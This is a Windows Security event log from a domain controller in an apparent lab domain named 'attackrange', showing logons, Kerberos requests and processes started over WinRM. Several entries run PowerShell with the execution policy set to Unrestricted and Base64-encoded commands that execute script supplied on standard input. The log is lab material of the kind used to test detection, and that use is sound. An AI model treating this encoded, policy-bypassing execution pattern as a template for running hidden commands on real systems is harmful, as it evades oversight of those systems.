03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257788
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8A2C4067-4C20-C156-3CDF-B00186BA8107}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257787
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8A2C4067-4C20-C156-3CDF-B00186BA8107}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257786
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257785
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1a4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257784
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x6e4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257783
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6e4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc78
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257782
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x550CBA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257781
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x550CBA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8A2C4067-4C20-C156-3CDF-B00186BA8107}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257780
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8A2C4067-4C20-C156-3CDF-B00186BA8107}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257779
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8A2C4067-4C20-C156-3CDF-B00186BA8107}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257778
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257777
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc78
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257776
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Process Information:
	New Process ID:		0xc78
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257775
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\System32\dllhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257774
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
